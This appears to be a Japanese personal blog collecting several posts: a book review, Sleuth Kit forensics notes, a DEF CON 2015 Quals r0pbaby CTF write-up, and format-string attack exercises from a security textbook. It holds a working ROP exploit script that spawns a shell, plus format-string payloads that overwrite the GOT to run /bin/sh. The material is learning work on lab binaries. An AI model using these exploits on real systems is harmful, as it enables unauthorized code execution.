アイデア大全 - 書評 -

twitterを見ていたら、読書猿さんが本を書いたとの情報が流れてきた。

読書猿さんのブログを読むと、いつも博覧強記ぶりに驚かされる。 さらっと書いたように見えるブログの書き出しの文章を数行であっても、 テーマに付随する専門知識がないと書けないものも多い。 すごい人がいるものだと思っていた。

その人がアイデアを生み出すための方法に関する本を出した。 大量にインプットされた古今東西の情報を精査し、その中から有益な情報を抽出し、 まとめあげてくれている。すぐに購入した。 クリエイティブな仕事に携わる人は一読の価値があると思う。

Sleuth Kitその1 flsコマンド、mactimeコマンドによるタイムラインの作成

要点

fls: bodyfileの作成 mactime: bodyfileか日時情報などを抽出

fls

flsコマンドはディスクイメージ内のファイルとディレクトリの名前を列挙する。

fls -rl -m "/" -i raw /dev/sda1 > bodyfile.txt
-r recursive
-l ファイルの詳細をlongフォーマットで出力する。ただし、
   mオプションと同時に使用された場合は無効
-m mactimeコマンドで使用できるデータを出力する。mntはマウントポイントとしてファイル名の先頭に付く。 
-i imagtype (raw, aff, afd, ewfなど)

mactime

mactimeコマンドはbodyファイルからファイルのタイムラインを作成する。

mactime -y -b bodyfile.txt > timeline.txt
-y: 日時をISO8601フォーマットで出力.(UTC)
-b: bodyファイルの場所
-d: カンマ区切りのデータを出力。(これがないと同じ時刻は空白になる?)

DEF CON Qualifier 2015: r0pbaby

pwnの勉強のため DEF CON Qualifier 2015: r0pbabyを解いてみた。 今回は、ローカルの環境のみで実行。

以下のサイトを参考とした。

http://geeksspeak.github.io/blog/2015/05/18/defconctf-2015-quals-ropbaby-writeup/

https://blog.0x80.org/r0pbaby-writeup-defcon-prequal/

http://qiita.com/MarshMallow_sh/items/87019f038e4f5dc82451

セキュリティ機構の確認

$ checksec.sh --file r0pbaby
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   r0pbaby

NXが有効(メモリ上の実行する必要のないデータが実行不可能)。 ROPを行えばよいのだろうか。

とりあえず実行してみる

socat コマンドを使って待受け状態にする。

$ socat TCP-LISTEN:1234,reuseaddr,fork EXEC:"./r0pbaby"

接続してみる。

$ nc localhost 1234

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FFFF7FF99B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF7857640
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 4
Exiting.

libc.so.6やsystem関数のアドレスを確認できた。 これらを使って、shellを起動できればよいのだろう。

gdbでスタックの状態を確認(pedaインストール済み)

3を選択、32バイトを指定、"AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD"(32バイト) を入力してみる。

gdb-peda$ run
Starting program: /home/ctf/r0pbaby 

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 32
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.

省略
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe558 ("BBBBBBBBCCCCCCCCDDDDDDDD")

Segmentation fault で落ちることが判明。 その時のスタックの内容を確認すると、BBBBBBBBCCCCCCCCDDDDDDDDが入っていた。 この部分に、rop gadgetのアドレス、/bin/shのアドレス、system関数のアドレス を入れれば、/bin/shを実行できそうだ。

libc.so.6の場所を確認

以下のコマンドで/lib/x86_64-linux-gnu/libc.so.6 にあることが判明。

$ ldd r0pbaby
    linux-vdso.so.1 =>  (0x00007ffff7ffd000)
    libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff7bd6000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7811000)
    /lib64/ld-linux-x86-64.so.2 (0x0000555555554000)

# libc.so.6内のsystem関数の位置 以下のコマンドで、system関数は0x46640 から始まることが判明。

$ nm -D libc.so.6| grep system
0000000000046640 T __libc_system
000000000012b2c0 T svcerr_systemerr
0000000000046640 W system

libc.so.6内の/bin/sh の位置

以下のコマンドで、/bin/sh は0x17ccdb から始まることが判明。 $ strings -a -tx libc.so.6 | grep "sh$" 17ccdb /bin/sh

rop gadeget の位置

以下のコマンドの結果から、 [0x00022b1a] のrop gadgetを使うことにした。

$ grep "pop rdi" rpResult-libc.so.6.txt | head   
0x000fa47a: pop rdi ; call rax ;  (1 found)
0x000831a8: pop rdi ; jmp rax ;  (1 found)
0x000f676c: pop rdi ; jmp rax ;  (1 found)
0x00103fe2: pop rdi ; rep ret  ;  (1 found)
0x0011bea1: pop rdi ; rep ret  ;  (1 found)
0x00022b1a: pop rdi ; ret  ;  (1 found)
0x00022b31: pop rdi ; ret  ;  (1 found)

Exploit の作成

ここまでで、以下3項目の位置が判明した。 この情報を元にExploitを作成する。

r_gadget = 0x22b1a   #rop gadgetのアドレス(ファイルlibc.so.6内)
r_system = 0x46640   #system 関数のアドレス(ファイルlibc.so.6内)
r_binsh  = 0x17ccdb  #/bin/sh のアドレス(ファイルlibc.so.6内)
#!/usr/bin/python
# -*- coding: utf-8 -*- 

import socket
import struct
import telnetlib

def readuntil(f, delim=': '):
    data = ''
    while not data.endswith(delim):
        c = f.read(1)
        assert len(c) > 0
        data += c
    #print data
    return data

def p(v):
    return struct.pack('<Q', v)

def u(v):
    return struct.unpack('<Q', v)[0]

s = socket.create_connection(("127.0.0.1", 1234))
#s = socket.create_connection(("r0pbaby server", 10436))
f = s.makefile('rw', bufsize=0)

raw_input("$")     # ユーザの入力を待つ(enterキーで以下の処理を開始)
print s.recv(1024) # 問題サーバから1024バイトのデータを取得

f.write("2\nsystem\n")
readuntil(f, "0x")
system = int(f.read(16), 16) 
print hex(system)

r_gadget = 0x22b1a   #rop gadgetのアドレス(ファイルlibc.so.6内)
r_system = 0x46640   #system 関数のアドレス(ファイルlibc.so.6内)
r_binsh  = 0x17ccdb  #/bin/sh のアドレス(ファイルlibc.so.6内)

# system addr - system_offset = libc_base
libc_base = system - r_system # 実行時のアドレス

gadget = libc_base + r_gadget # rop gadgetのアドレス(実行時)
binsh  = libc_base + r_binsh  # /bin/shのアドレス(実行時)

print "[*] system     0x%08x" % system
print "[*] libc_base  0x%08x" % libc_base
print "[*] gadget     0x%08x" % gadget
print "[*] binsh      0x%08x" % binsh

f.write("3\n32\n"+"A"*8+p(gadget)+p(binsh)+p(system)+"\n")

# メモ
#m_libc   = 0x00007FFFF7FF99B0 # [1]を選択して判明した libc.so.6のアドレス
#m_system = 0x00007FFFF7857640 # [2]を選択して判明した system関数のアドレス


print "[+] shell is ready: "
t = telnetlib.Telnet()
t.sock = s
t.interact()

所感

Pwn を解き始めたばかりのため難しく感じた。 少し基本が身についたと思う。

課題

  • Exploitはもう少しシンプルになりそうだ。
  • 一つ気になったことは、r0pbaby実行時、[1]を選択して表示される libc.so.6 のアドレス0x00007FFFF7FF99B0と、 ldd r0pbabyした時のlibc.so.6 のアドレス0x00007ffff7811000が 違う点である。理由はまだわかっていない。

セキュリティコンテストチャレンジブック[書式文字列攻撃(got)]

書式文字列攻撃を試してみる。

strlen関数をsytem関数に書換え、 /bin/shを起動する。

おそらくp123の表の、 3行目の1列目は、[%43272x]ではなく[%41352x] 4行目の3列目は、[43280]ではなく[41360]

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char str[128];
    fgets(str, 128, stdin);
    printf(str);
    
    fgets(str, 128, stdin);
    printf("%d\n", strlen(str));
    return 0;
}

strlen の位置を確認。

$ readelf -r got | less
0804a01c  00000507 R_386_JUMP_SLOT   00000000   strlen

関数system の位置を確認。

gdb -q got
b main
run
p system
$1 = {<text variable, no debug info>} 0xf7e4d190 <system>
$ echo 'AAAA%p,%p,%p,%p,%p,%p,%p,%p' | ./got
AAAA0x80,0xf7770c20,0xffcfa454,(nil),(nil),(nil),0x41414141,0x252c7025
28

AAAAは7番目に出現。

よって、7番目に[/bin/sh]を入れて、 うまく起動するようにする。

system関数のアドレス 0xf7e4d190 を2つに分けリトルエンディアンとして扱う。 strlenのアドレスx0804a01c の値を書き換える。 書き込む値はprint関数で出力した文字数となるので、 計算する。

0xd190 = 53648  ⇒ 53648 - 8 = 53640
0xf7e4 = 63460  ⇒ 63460 - 53648 = 9812
\x1c\xa0\x04\x08
\x1e\xa0\x04\x08
%53640x
%7$hn # 書込み
%9812x
%8$hn # 書込み
\n
/bin/sh
(echo -e '\x1c\xa0\x04\x08\x1e\xa0\x04\x08%53640x%7$hn%9812x%8$hn\n/bin/sh'; cat) | ./got
                                                                f7fb7c20
ls
fsb  fsb.c  fsb.c~  got  got.c  got.c.txt  got.c~  peda-session-got.txt

うまくいった。

実行ファイルのセキュリティ機構

実行ファイルのセキュリティ機構

コンパイル時に設定可能なもの

  • Stack Smash Protection BOF 対策。スタックフレームのローカル変数領域と Saved EBP の間に Canary(カナリア) と呼ばれる値を挿入。この部分の値の変更を判定。
  • NX bit(No eXecute bit)
  • PIE (Position Independent Executable)
    • 実行コード内のアドレス参照をすべて相対アドレスで行う
    • ASLR では行われない実行ファイルの配置アドレスもランダム化される
    • よく共有ライブラリに適用されるオプション

OS側で設定可能なもの

  • ASLR(Address Space Layout Randomization) OS 側で設定可能 スタックやヒープ、共有ライブラリなどをメモリに配置するときに アドレスの一部をランダム化。 OS 側で設定できるようだ。 確かWindows でもレジストリを変更することで無効化できた。
    • 有効: sudo sysctl -w kernel.randomize_va_space=2
    • 無効: sudo sysctl -w kernel.randomize_va_space=0

セキュリティコンテストチャレンジブック[書式文字列攻撃]

とりあえずメモ。加筆予定

$ gcc -m32 -w -o fsb fsb.c
$ ./fsb
AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p
AAAA0x80,0xf7fbcc20,0xffffd854,(nil),(nil),(nil),0x41414141,0x252c7025,0x70252c70
secret = 0x12345678

secret のアドレスを確認

$2 = (<data variable, no debug info> *) 0x804a028 <secret>

以下より抜粋

$ gdb -q fsb
Reading symbols from fsb...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484c0
gdb-peda$ run
Starting program: /media/sf_mnt-host/ctfCharrengeBook/fsb 
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0xf7fbc000 --> 0x1a6da8 
ECX: 0xf027baa4 
EDX: 0xffffd7b4 --> 0xf7fbc000 --> 0x1a6da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd788 --> 0x0 
ESP: 0xffffd788 --> 0x0 
EIP: 0x80484c0 (<main+3>: and    esp,0xfffffff0)
[-------------------------------------code-------------------------------------]
   0x80484b8 <frame_dummy+40>:    jmp    0x8048430 <register_tm_clones>
   0x80484bd <main>:  push   ebp
   0x80484be <main+1>:    mov    ebp,esp
=> 0x80484c0 <main+3>: and    esp,0xfffffff0
   0x80484c3 <main+6>:    sub    esp,0xa0
   0x80484c9 <main+12>:   mov    eax,DWORD PTR [ebp+0xc]
   0x80484cc <main+15>:   mov    DWORD PTR [esp+0xc],eax
   0x80484d0 <main+19>:   mov    eax,gs:0x14
[------------------------------------stack-------------------------------------]
00:0000| esp ebp 0xffffd788 --> 0x0 
01:0004|         0xffffd78c --> 0xf7e2ea63 (<__libc_start_main+243>:   mov    DWORD PTR [esp],eax)
02:0008|         0xffffd790 --> 0x1 
03:0012|         0xffffd794 --> 0xffffd824 --> 0xffffd9b3 ("/media/sf_mnt-h"...)
04:0016|         0xffffd798 --> 0xffffd82c --> 0xffffd9db ("XDG_VTNR=7")
05:0020|         0xffffd79c --> 0xf7feacea (add    ebx,0x12316)
06:0024|         0xffffd7a0 --> 0x1 
07:0028|         0xffffd7a4 --> 0xffffd824 --> 0xffffd9b3 ("/media/sf_mnt-h"...)
[------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value

Breakpoint 1, 0x080484c0 in main ()
gdb-peda$ p secret
$1 = 0x12345678
gdb-peda$ p &secret
$2 = (<data variable, no debug info> *) 0x804a028 <secret>
$ ./fsb # 7番目の値をcharで表示する(失敗)
AAA%7$s
zsh: segmentation fault (core dumped)  ./fsb
$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb
(�xV4 ��
secret = 0x12345678

文字化けしたので、hexdump で確認。

$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb | hexdump -C
00000000  28 a0 04 08 78 56 34 12  20 cc fb f7 0a 73 65 63  |(...xV4. ....sec|
00000010  72 65 74 20 3d 20 30 78  31 32 33 34 35 36 37 38  |ret = 0x12345678|
00000020  0a                                                |.|
00000021

メモリの書き換え(%n でprintf で出力した文字数をメモリに書き込む)

$ echo -e '\x28\xa0\x04\x08%7$n' | ./fsb
(�
secret = 0x4

フォーマット指定子 書き込みバイト数 %n 4バイト %hn 2バイト %hh 1バイト